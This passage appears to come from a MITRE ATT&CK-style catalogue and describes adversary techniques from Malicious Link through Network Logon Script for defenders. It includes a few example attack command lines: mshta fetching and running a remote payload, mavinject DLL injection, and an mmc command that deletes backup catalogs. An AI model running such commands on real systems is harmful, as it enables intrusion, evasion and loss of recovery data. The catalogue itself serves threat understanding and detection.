Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Name or Location).(Citation: Aqua Security Cloud Native Threat Report June 2021)
T1204.001Malicious LinkAn adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.
IDNameDescription
T1156Malicious Shell ModificationAdversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot).

For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile/etc/zshenv/etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc ``to configure the user environment. Upon exiting, `/etc/zlogout` and `~/.zlogout` are executed. For legacy programs, macOS executes `/etc/bashrc` on startup.``
T1583.008MalvertisingAdversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.

Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)

Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system’s web browser.(Citation: BBC-malvertising)

Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising)
T1587.001MalwareAdversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)

As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary’s malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.(Citation: FireEye APT29)
T1588.001MalwareAdversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).
T1553.005Mark-of-the-Web BypassAdversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
T1036.008Masquerade File TypeAdversaries may masquerade malicious payloads as legitimate files through changes to the payload’s formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either .JPE.JPEG or .JPG.

Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.

Common non-executable file types and extensions, such as text files (.txt) and image files (.jpg.gif, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.

Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)
T1036.004Masquerade Task or ServiceAdversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)
T1036MasqueradingAdversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.(Citation: LOLBAS Main Site)
T1036.005Match Legitimate Name or LocationAdversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.
T1218.013MavinjectAdversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
T1218.014MMCAdversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)

For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.

Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)

Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)
T1556Modify Authentication ProcessAdversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
T1578Modify Cloud Compute InfrastructureAn adversary may attempt to modify a cloud account’s compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
T1031Modify Existing ServiceWindows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
T1112Modify RegistryAdversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system’s SMB/Windows Admin Shares for RPC communication.
T1601Modify System ImageAdversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
T1127.001MSBuildAdversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)
T1218.005MshtaAdversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(“GetObject(”“script:https[:]//webserver/payload[.]sct”“)”))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
T1170MshtaMshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(“GetObject(”“script:https[:]//webserver/payload[.]sct”“)”))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
T1218.007MsiexecAdversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
T1556.006Multi-Factor AuthenticationAdversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)

For example, modifying the Windows hosts file (C:\windows\system32\drivers\etc\hosts) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a “fail open” policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022)

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim’s network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)
T1111Multi-Factor Authentication InterceptionAdversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user’s personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022)
T1621Multi-Factor Authentication Request GenerationAdversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.

In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)
T1188Multi-hop ProxyTo disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
T1090.003Multi-hop ProxyTo disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)

In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging Patch System Image, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the Network Boundary Bridging method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.
T1104Multi-Stage ChannelsAdversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.
T1026Multiband CommunicationThis technique has been deprecated and should no longer be used.

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
T1079Multilayer EncryptionAn adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
T1106Native APIAdversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via Disable or Modify Tools).
T1128Netsh Helper DLLNetsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)
T1546.007Netsh Helper DLLAdversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
T1599.001Network Address Translation TraversalAdversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)

When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities
T1599Network Boundary BridgingAdversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.
T1498Network Denial of ServiceAdversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see Endpoint Denial of Service.
T1556.004Network Device AuthenticationAdversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

Modify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)
T1059.008Network Device CLIAdversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH.

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)
T1602.002Network Device Configuration DumpAdversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.
T1037.003Network Logon ScriptAdversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
